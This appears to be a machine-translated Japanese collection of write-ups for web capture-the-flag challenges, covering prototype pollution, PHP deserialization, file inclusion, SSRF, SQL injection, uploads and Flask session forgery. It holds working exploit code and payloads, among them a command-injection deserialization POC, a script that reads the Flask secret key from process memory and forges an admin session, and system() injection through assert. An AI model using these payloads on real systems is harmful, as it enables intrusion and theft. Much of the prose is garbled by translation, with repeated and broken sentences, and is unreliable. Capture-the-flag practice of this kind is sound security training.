記事ディレクトリ
- 1人目:妻_妻
- 2 番目の ez_curl (未解決)
- 3 番目の ezbypass-cat
- 4番目の解凍
- 5 番目の file_include
- 6番目のeasyphp
- 7 番目のファイルのクルード
- 8 番目の Very_easy_sql (未完了)
- 9番目の猫猫-新しい
- 10 番目のファイルを含める
- 11番目の何もない
- 12番目のSSRF私
- 第 14 回 easyupload
- 15 回目のウォームアップ (未完了)
- 16 回目の wzsc_file アップロード
- 第17回-----第30回(いくつかの簡単な質問、記録に値するものはすべて記録されています)
- 31番目のファイルには以下が含まれます
- 32 番目の easy_web (ssti は未解決)
- 33の恋_数学(未完)
- 34 ウェブ 2
- 35 番目のアップロード1
- 36番目のMFW
- 第37回宝くじ
- 38 番目のアップロード
- 39番目 Web_php_include
- 40番目のsimple_js (未完成)
- 41番目のURL
- 42番目の偽書
- 42番目のファイルマネージャー
- 四十三匹目の猫(未完)
- 第 44 回 Web_php_unserialize
- 45番目のイージートルネード
- 四十六社(未完成)
1人目:妻_妻
wife_wife の質問はブラック ボックス テストです。私自身は理解できませんでした。理解するために WP を見ました。
ここでの主な問題は、プロトタイプの汚染です。 js のチェーン。クラスを使用します。Object.assign プロトタイプ チェーン汚染
WP のソース コード:
app.post('/register', (req, res) => {
let user = JSON.parse(req.body)
if (!user.username || !user.password) {
return res.json({
msg: 'empty username or password', err: true })
}
if (users.filter(u => u.username == user.username).length) {
return res.json({
msg: 'username already exists', err: true })
}
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({
msg: 'invalid invite code', err: true })
}
let newUser = Object.assign({
}, baseUser, user) //就是这里,原型链污染
users.push(newUser)
res.json({
msg: 'user created successfully', err: false })
})
質問全体からわかるように、管理者はフラグを読み取ることができます
登録された ID が admin である限り
1 つ目と 2 つ目if はまだ比較的簡単にバイパスできます。主な理由は、3 番目の招待コードがないため、それをバイパスする方法を見つける必要があります。
back はプロトタイプ チェーンを汚染する可能性があります。最初に通常の ID で登録し、次に「proto」を使用して isAdmin 属性を true に変更します。
{“ユーザー名”:“e”,“パスワード”:“e”,“_プロト_”:{“isAdmin” :true}}
let newUser = Object.assign({},baseUser, user) この手順では、baseUser と user を新しい newUser にマージします。
isAdmin を true に変更し、3 番目のパスをバイパスします。 if
3 番目の if は、isAdmin という名前のキーがないためバイパスされ、直接バイパスされます (つまり、isAdmin は false)。
概要: 将来的には、本文内の json データを見れば、プロトタイプ チェーン汚染を直接推測し、ブラインド タイピング構築を実行できるようになります。
2 番目の ez_curl (未解決)
<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input'); //php://input是php为协议通过POST传入数据,赋值给左值$input
$headers = (array)json_decode($input)->headers; // 将传入的值给json解析一下,将其json数据的hearder转换为数组赋值给左值
for($i = 0; $i < count($headers); $i++){
//判断数组的长度,进行一次遍历
$offset = stripos($headers[$i], ':'); //stripos查找字符首次出现的位置
$key = substr($headers[$i], 0, $offset); //截取字串 offest为正向前截取多少个字符,为负向后截取多少个字符
$value = substr($headers[$i], $offset + 1); //截取key后面所有值,即offset+1后面所有的子串
if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
//如果key里面没有admin value里面没有true 即为假
die('try hard');
}
}
$params = (array)json_decode($input)->params; //将输入的转换为数组形势存储
$url .= http_build_query($params); //使用 http_build_query 函数将 $params 数组转换为 URL 查询字符串的格式,并将其追加到 $url 变量之后。
$url .= '&admin=false'; //在url后面拼接一个&admin=false
$ch = curl_init(); //初始化一个curl
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch); //将初始化的$ch存储在result中
echo $result;
try hard1
const express = require('express');
const app = express();
const port = 3000;
const flag = process.env.flag;
app.get('/flag', (req, res) => {
if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
//url头里面的 admin不能包含false必须为true
res.send(flag);
}else{
res.send('try hard');
}
});
app.listen({
port: port , host: '0.0.0.0'});
テスト ポイント:
Express のparameterLimit のデフォルトは 1000 です
rfc によると、ヘッダー フィールドは、ヘッダー フィールドは、ヘッダー フィールドは、ヘッダー フィールドに少なくとも 1 つの SP または HT を追加することで拡張できます。各行の先頭から複数行に
3 番目の ezbypass-cat
この質問は脆弱性をテストしますHuaxia ERP 認証バイパスの脆弱性
キーワードは次のとおりです
ペイロード:
概要: 私はまだ経験が不十分で、ペネトレーションを行ったことがなく、フレームワークの脆弱性をほとんど知りません。
4番目の解凍
<?php
highlight_file(__FILE__);
class ease{
private $method;//ping
private $args;//shell
function __construct($method, $args) {
$this->method = $method;
$this->args = $args; //
}
function __destruct(){
//对象被释放时调用
if (in_array($this->method, array("ping"))) {
// this->method[0] = ping 检测数组里面是否有 ping
call_user_func_array(array($this, $this->method), $this->args); //回调函数,args为数组的形式返回,将$this->method做为参数返回给ping函数
}
} //执行ping函数
function ping($ip){
exec($ip, $result); //exec是一个拿shell函数
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
//pat_array为搜索到正则表达式里面特殊字符的次数
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
//自动调用
foreach($this->args as $k => $v) {
//在每次循环迭代中,将当前元素的键赋值给变量 $k,将当前元素的值赋值给变量 $v。
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
最初の POC スクリプト:
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
ここで l""s をバイパスする原理は次のとおりです。
初めて表示されるときは次のようになります。
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s${IFS}fl""ag_1s_here'));// ${IFS}在linux里面是分隔符的意思
$b = serialize($a);
echo $b;
echo base64_encode($b);
?>
フラグは flag_1s_here ディレクトリのファイル flag_831b69012c67b35f.php にあることがわかっています
以下の 3 つのコマンドを実行することでフラグを取得できますが、フィルタをバイパスする方法
cat flag_1s_here/flag_831b69012c67b35f.php
cd flag_1s_here;cat flag_831b69012c67b35f.php
cd flag_1s_here&&cat flag_831b69012c67b35f.php
8 進数変換スクリプト:
str = 'cat flag_1s_here/flag_831b69012c67b35f.php'
for i in str:
print(oct(ord(i)).replace('0o','\\'),end='')
# ord函数是返回i的ASCII码值,oct将传入的整数按照8进制返回
#在python中八进制前缀为 0o,将0o转换为”\“
最後のバイパス原則:
$(printf '\154\163') \154 = l \163 = s なので、ls を実行します
最終的な poc スクリプト:
<?php
class ease{
private $method;//ping
private $args;//shell
function __construct($method, $args) {
$this->method = $method;
$this->args = $args; //
}
}
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$b = serialize($a);
echo $b;
echo base64_encode($b);
?>
5 番目の file_include
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
PHP では、include 関数と file_get_contents はファイルの処理に使用される 2 つの関数です。これらには次のような違いがあります: 異なる関数:
1 include 関数は、指定されたファイルのコンテンツを含めるために使用されます。現在のファイルに移動し、含まれているファイル内の PHP コードを実行します。
file_get_contents 関数は、ファイルの内容を読み取り、文字列として返すために使用されます。ファイル内の PHP コードは実行されません。戻り値:2.include 関数は、ファイルが正常にインクルードされたかどうかを示すブール値 (true または false) を返します。
file_get_contents 関数は、ファイルの内容を文字列として返します。読み取りが失敗した場合は false を返します。さまざまな用途:3.include 関数は通常、ページ テンプレート、関数ライブラリ、構成ファイルなどの他の PHP ファイルをインクルードして実行するために使用されます。
file_get_contents 関数は通常、テキスト ファイル、JSON ファイル、XML ファイルなどのファイルの内容を読み取るために使用されます。パフォーマンス:4.include 関数は、インクルードされたファイルを全体としてメモリにロードするため、ファイルが大きい場合や複数のファイルが含まれている場合は、より多くのメモリと実行時間を消費する可能性があります。
file_get_contents 関数は、ファイルの内容のみを読み取り、それを文字列として返します。これは、include 関数よりも効率的です。要約すると、 include 関数は他の PHP ファイルをインクルードして実行するのに適しており、file_get_contents 関数はファイルの内容を読み取って処理するのに適しています。どの機能を使用するかは、ニーズとシナリオによって異なります。
インクルードを使用してファイルを読み取り、返すには疑似プロトコルを使用する必要があります。
php://filter/read=convert.base64-encode/resource=check.php がフィルタリングされていることがわかりました
<?php if($_GET["filename"]){ $preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);'; if(eval($preg_match_username)) { die("do not hack!"); } }
convert.フィルタは、convert.iconv をサポートしています。 形式、使用方法:
convert.iconv.
convert.iconv. Convert.iconv.UCS-4*.UCS-4BE —> 指定されたファイルを UCS-4* から UCS-4BE 出力に変換します< /span>
例:
参照記事
は、2 つの変換フィルタ string.* Convert.iconv を使用することで回避できますが、文字列はフィルタリングされているため、convert を使用します。 .iconv をバイパスするには
公式 Web サイトのエンコード
次のエンコード方法は不完全です:
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
BASE64
次に、BP イントルーダー モジュールの攻撃タイプ モードのクラスター爆弾モードを使用して爆破します。
最終的なペイロード:
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php
テスト ポイント:
コンバータを使用して疑似プロトコル キーワード フィルタリングをバイパスする
6番目のeasyphp
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?>
最初の if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3) バイパス:
この直接的な科学的記数法のバイパス
ローカルでの科学的記数法のデバッグは機能しませんでした。後で、それがバージョンに関連していることがわかりました。
2 番目の if(isset($b) && '8b184b' === substr(md5($b),-6,6)) には、直接の Python スクリプトをバイパスする良い方法がありません。このスクリプトは実行されます。
import hashlib
target_string = '8b184b'
def md5_last5(string):
# 计算字符串的md5散列值
md5_hash = hashlib.md5(string.encode()).hexdigest()
# 截取最后5位字符
last_5 = md5_hash[-6:]
return last_5
for j in range(1,9999999999):
i = str(j)
print(md5_last5(i))
if(md5_last5(i)==target_string):
print(i)
break
次に、3 番目の if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022) ここで、コントロール キーの値は直接「m」を使用して判断するのは比較的簡単で、「123456a」を使用することで is_numberic() を直接バイパスできます。
4 番目の if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]) )このカウントは配列の長さを決定し、is_array は c[n] の最初の値が配列であるかどうかを決定します。これは配列をネストすることと同じです。これは 2 次元配列に少し似ており、バイパスが容易です。
最後の審判:
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
このコードの意味は、まず配列に「DGGJ」があるかどうかを調べることです。これも比較です。foreach トラバーサルに「DGGJ」がある場合は、die() が実行されます。ここで矛盾があります。
バイパス原理: ここでは PHP 言語の機能を使用しています。文字列を数値と比較すると、文字列は 0 になります。そのため、c[n] の次の要素を 0 に設定すると、DGGJ と比較されます。 0. , DGGJ は 0 になり、0 と 0 は等しく true を返すのでバイパスされますが、これは先ほどの is_numberic 関数をバイパスする原理でもあります。
最終的なペイロードは次のようになります。
?a=1e7&b=53724&c={
"m":"12345a","n":[[1,2],0]}
概要: ローカル環境でテストする場合、環境上の理由により結果が良くない場合があります。さらに試行すると、異なる結果が生じる可能性があります。つまり、さらに試行してください。
7 番目のファイルのクルード
WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
この質問は非常に単純な PHP 擬似プロトコルの使用法ですが、php://filter プロトコルの記述が間違っていたため、私は長い間この質問に取り組みました。
最終的なペイロード:
?file2=php://input&file1=php://filter/read=convert.base64-encode/resource=flag.php
8 番目の Very_easy_sql (未完了)
この質問は、SQL インジェクションと ssrf の gopher:// 疑似プロトコルの混合使用をテストします。
注:
POST リクエストの場合これらのパラメータは必須です: POST Host Content-Type Content-length
ただし、GET は必要ありません。
import base64
import datetime
import urllib.parse
import requests
import time
#cookie = "this_is_your_cookie=YWRtaW4nKSBhbmQgaWYoMSxzbGVlcCgxMCksMSkj"
#Cookie: {}
# host = "127.0.0.1:80"
# content = "uname=admin&passwd=admin"
# content_length = len(content)
# test =\
# """POST /index.php HTTP/1.1
# Host: {}
# User-Agent: curl/7.43.0
# Accept: */*
# Content-Type: application/x-www-form-urlencoded
# Content-Length: {}
#
# {}
# """.format(host,content_length,content)
# tmp = urllib.parse.quote(test)
# new = tmp.replace("%0A","%0D%0A")
# result = urllib.parse.quote(new)
# print("gopher://"+host+"/_"+result)
# def get_flag():
# flag = ""
# url = "http://61.147.171.105:59395/use.php?url="
# for i in range(1,60):
# for j in range(33,130):
# poc = "') union select 1,2,if(ascii(substr((select * from flag),{},1))={},sleep(2),1) #".format(i,j)
# temp = str(base64.b64encode(poc.encode("utf-8")),"utf-8")
# poc1 = "gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250ACookie%253A%2520this_is_your_cookie%253D"+temp+"%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A"
# now_time = time.time()
# url = url + poc1
# re = requests.get(url=url)
# end_time = time.time()
# t = end_time-now_time
# print(t)
# if t > 6:
# flag += chr(j)
# print(j)
# print(flag)
# get_flag()
要約: SQL インジェクションを実行するときは、まずエラー インジェクション、ブール ブラインド インジェクションなどがあるかどうかを検討し、次にタイム ブラインド インジェクションを検討する必要があります。タイム ブラインド インジェクションは他の要因に大きく影響されます。タイム インジェクションはタイムアウトを使用して記述できます。試してみてください。 、そして例外です。
9番目の猫猫-新しい
この質問を入力すると、最初に数匹の猫がいました。そのうちの 1 匹をクリックすると、パラメータ ファイルが非常にユニークであることがわかりました。猫が何かファイルを読み取っているか、ディレクトリ トラバーサルを実行しているか、そして最後に in?file であるかを推測しました。 =…/…/ etc/passwd のパスがエコーされます
。次のステップは、Web サイトのソース コードを読み取ることです。情報インターフェイスでパッケージを取得し、サーバーが Python であることを確認します。 pythonなので現在のプロセスはpython xxx.pyで起動しているはずですが、その時のコマンドがわかればxxx.pyの名前を取得してソースコードを読むことができます。 Linux には /proc/self/cmdline というファイルがあり、現在の起動プロセスの完全なコマンドを取得するために使用されます。
最後に、このファイルはパス ?file= のエコーで見つかります。 …/…/proc/self/cmdline それは app.py
であり、ソース コードを読み取るためにディレクトリ トラバーサルを再度実行しますか? file=…/app.py ソース コードを読んだ後 バイトの decode() メソッドを直接使用して取得できます。次のようなフォーマットされたソース コード:
、ボスのブログを読んだ後に初めて知りました。これは Python のバイト形式であることがわかりました。
a = b'abc\nabc'
print(a.decode())
次の方法でソースコードを取得します。
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-",
"") + "*abcdefgh" # SECRET_KEY为uuid替换-为空后加上*abcdefgh。这里刻意的*abcdefgh是在提示我们secret key的格式
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag") # 这里读取flag后删掉了flag,防止之前任意文件读取出非预期解
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end)) # cat是上面引用进来的函数
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1: # session为admin就能得到flag,此处需要session伪造
return flag
else:
session['admin'] = 0
return "NoNoNo"
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)
cat ファイルがソース コードにまだ存在していることがわかり、cat.py を再度読み込みます。
import os, sys, getopt
def cat(filename, start=0, end=0) -> bytes:
data = b''
try:
start = int(start)
end = int(end)
except:
start = 0
end = 0
if filename != "" and os.access(filename, os.R_OK):
f = open(filename, "rb")
if start >= 0:
f.seek(start)
if end >= start and end != 0:
data = f.read(end - start)
else:
data = f.read()
else:
data = f.read()
f.close()
else:
data = ("File `%s` not exist or can not be read" % filename).encode()
return data
if __name__ == '__main__':
opts, args = getopt.getopt(sys.argv[1:], '-h-f:-s:-e:', ['help', 'file=', 'start=', 'end='])
fileName = ""
start = 0
end = 0
for opt_name, opt_value in opts:
if opt_name == '-h' or opt_name == '--help':
print("[*] Help")
print("-f --file File name")
print("-s --start Start position")
print("-e --end End position")
print("[*] Example of reading /etc/passwd")
print("python3 cat.py -f /etc/passwd")
print("python3 cat.py --file /etc/passwd")
print("python3 cat.py -f /etc/passwd -s 1")
print("python3 cat.py -f /etc/passwd -e 5")
print("python3 cat.py -f /etc/passwd -s 1 -e 5")
exit()
elif opt_name == '-f' or opt_name == '--file':
fileName = opt_value
elif opt_name == '-s' or opt_name == '--start':
start = opt_value
elif opt_name == '-e' or opt_name == '--end':
end = opt_value
if fileName != "":
print(cat(fileName, start, end))
else:
print("No file to read")
app.py のソース コードを確認すると、管理者のSECRET_KEY 値の ID を偽造する必要があることがわかります。この質問でより重要なことは、ヒープ内にあります。アドレスを読み取ると、ルートでファイルを読み取ることができます。3 つのパラメータはすべて制御可能です。filename start end
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
/proc/self/maps から読み取りおよび書き込み可能なメモリ アドレスを取得し、これらのアドレスに基づいて /proc/self/mem を読み取り、秘密キーを取得します。
次のコマンドを使用します。男 スクリプトはフラグを直接読み取ります
import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface
url = "http://61.147.171.105:51817/"
# 此程序只能运行于Python3以上
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
# ----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
# Encode a Flask session cookie
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
# -------------------------------------------
# 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
# 请求file路由进行读取
map_list = requests.get(url + f"info?file={
bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
# 匹配指定格式的地址
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)
# 设置起始和结束位置并读取/proc/self/mem
res = requests.get(f"{
url}/info?file={
bypass}/proc/self/mem&start={
start}&end={
end}")
# 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
if "*abcdefgh" in res.text:
# 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Secret Key:", secret_key[0])
s_key = secret_key[0]
break
# 设置session中admin的值为1
data = "{'admin':1}"
# 伪造session
headers = {
"Cookie": "session=" + FSCM.encode(s_key, data)
}
# 请求admin路由
try:
flag = requests.get(url + "admin", headers=headers)
print("Flag is", flag.text)
print((FSCM.encode(s_key,data)))
except:
print("Something error")
要約: この質問のセッションフォージェリが成功していないことがわかりません。/admin ルートフォージェリが成功していないのは不思議です。メモリ内のキーを読み取る原理が特に理解されていません。
10 番目のファイルを含める
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
この質問では、Cookie を使用して言語値を渡し、php://filter 疑似プロトコルを使用してフラグを直接読み取ります。
Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag
11番目の何もない
この質問はブラインド タイピングの質問です。非常に抽象的です。単純な SQL インジェクションをテストします。ユニバーサル インジェクション式はバイパスできます。
詳細な WP を入力してください< a i=2> これはバックエンドの '' 一重引用符に相当し、その後 ' または '1=1 と書きます。これは id=' または '1=1' になるのと同等です。ユニバーサルフォーミュラバイパス
' または '1=1
12番目のSSRF私
私は長い間この unicode-utf エンコード Web サイトを探していました。これは URL エンコード バイパスとも呼ばれます
SSRF に関する質問は比較的少ないです。Zhiqi は SQL インジェクションを組み合わせて作成しましたssrf で攻撃します。ここでの名前は ssrf とも呼ばれます。この質問を受け取ったとき、gopher:// 疑似プロトコルを直接使用し、スクリプトを書き始めました。突然問題が見つかりました。URL もpost リクエストですが、コンテンツの長さは URL と同じです。パラメータの受け渡しに関係しているため、スクリプトはまだ書かれていません。何度も修正しましたが、ssrf についてはまだほとんど知りません。あ>
SSRF と疑似プロトコルの予備的な概要:
1.file://pseudo-protocol では、このプロトコルを ssrf と組み合わせて使用し、ファイル file:///etc/passwd file:// /flag.php を読み取ります。
2.dict://protocol
dict プロトコルは辞書サーバー プロトコルであり、通常、クライアントが使用中により多くの情報にアクセスできるようにするために使用されます。ソースを使用してポート フィンガープリント情報を検出できます
dict://127.0.0.1:6379 //探测redis是否存活
dict://127.0.0.1:6379/info //探测端口应用信息
3.gopher://protocol
個人的には、この gopher プロトコルは、危険な関数にリクエスト パケットを送信し、危険な関数がそのリクエストを通じてそれにアクセスするのと同じだと思います。パケットが送信されました。ターゲット サイトで、イントラネットに入ることができます。
SSRF における gopher の役割
SSRF バイパス フィルタリング:
<?php //进制转换脚本
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>在这里插入代码片
要約: 個人的には、SSRF は SQL インジェクション、デシリアライゼーションなどの多くのテスト ポイントと一緒にテストされることが多いと感じています。
第 14 回 easyupload
この質問にはバイパスする必要がある場所が 4 つあります。
- ファイルに php という単語が含まれているかどうかを確認します
- サフィックスに ph と htaccess があるかどうかを確認する
- ファイルのヘッダー情報を検出する
- MIME ヘッダー情報の検出
バイパス方法は次のとおりです:
1. 短いタグ名または大文字と小文字のバイパスを使用できます
2. .user.ini ファイルを使用してファイルのアップロードをリダイレクトし、アップロードされた指定されたファイルをすべての PHP ファイルに含めることができます
auto_prepend_file=a.jpg
3. ヘッダー情報を検出するには、ヘッダーにヘッダー情報を直接追加します
GIF89a
4. MIME は、BP パケット キャプチャを通じて変更およびバイパスできます。 . パス
注: 指定したファイル イメージ (絵馬) をアップロードするとき、F12 を使用して、どのファイルがそこに転送されたかを確認できます。
ファイル アップロード< /span>
15 回目のウォームアップ (未完了)
この質問には添付ファイル、コード監査が含まれています
この質問は、SQL インジェクションと組み合わせた逆シリアル化について調べます。
16 回目の wzsc_file アップロード
条件竞争
WP
第17回-----第30回(いくつかの簡単な質問、記録に値するものはすべて記録されています)
コマンドの実行
ペイロード:
127.0.0.1 && find / -name "flag*"
127.0.0.1 &&cat /home/flag.txt
PHP2
この質問では、まずスキャナーを使用して Web サイトのディレクトリをスキャンし、index.php ファイルをスキャンします。ただし、url+/index.php を実行すると、ソース コードのエコーが表示されません。index.phps とIndex.phps=index.php+source
ブラウザ自体が URL をデコードするため
php_rce (未完成)
31番目のファイルには以下が含まれます
この質問は 5 番目の質問と非常に似ています。基本的には同じです。したがって、同じアイデアを使用して直接解くことができます。質問 5 の WP を見てみましょう。
32 番目の easy_web (ssti は未解決)
33の恋_数学(未完)
34 ウェブ 2
このテストのソース コード分析、非常に単純な質問
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);//反转
echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1); // 一个一个的截取字符
$__=ord($_c)+1; // 将其转化为ascii并加1
$_c=chr($__); // 将ascii其转化为字符
$_=$_.$_c; // 将原来
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
?>
手順を逆に進めるだけなのでとても簡単です
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$answer = str_rot13($miwen);
$ans1 = strrev($answer);
$ans2 = base64_decode($ans1);
for($_a = 0 ; $_a<strlen($ans2);$_a++)
{
$ans3 = substr($ans2,$_a,1);
$ans4 = ord($ans3)-1;
$ans5 = chr($ans4);
$final_ans = $final_ans.$ans5;
}
var_dump(strrev($final_ans));
35 番目のアップロード1
この質問では、一文のトロイの木馬を含む画像を直接アップロードし、BP がパケットをキャプチャしてサフィックスを変更してアップロードが成功し、中国の Ant Sword 接続を直接使用して flag.php ファイルを見つけます。
36番目のMFW
この質問も比較的単純で、git ソース コードのリークをテストし、ソース コードと一連のディレクトリをダウンロードし、ソース コード分析に基づいてコマンドを結合してシェルを取得しました。
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); //利用这里构造poc
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") {
?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "about") {
?>class="active"<?php } ?>><a href="?page=about">About</a></li>
<li <?php if ($page == "contact") {
?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
<!--<li <?php if ($page == "flag") {
?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
require_once $file;
?>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
</body>
</html>
assert("strpos('$file', '...') === false") または die("ハッキングの試みが検出されました!"); //これを使用して poc を構築します
POC の構築はここで実行できます。これは SQL インジェクションの原理に少し似ています。
payload: pwn') または system('cat templates/flag.php');/ / 注入が成功しました
第37回宝くじ
git リークのソースコードのダウンロード
function buy($req){
require_registered();
require_min_money(2); // $money == 1
$money = $_SESSION['money']; //money
$numbers = $req['numbers']; // req 数组的键值number的
$win_numbers = random_win_nums();
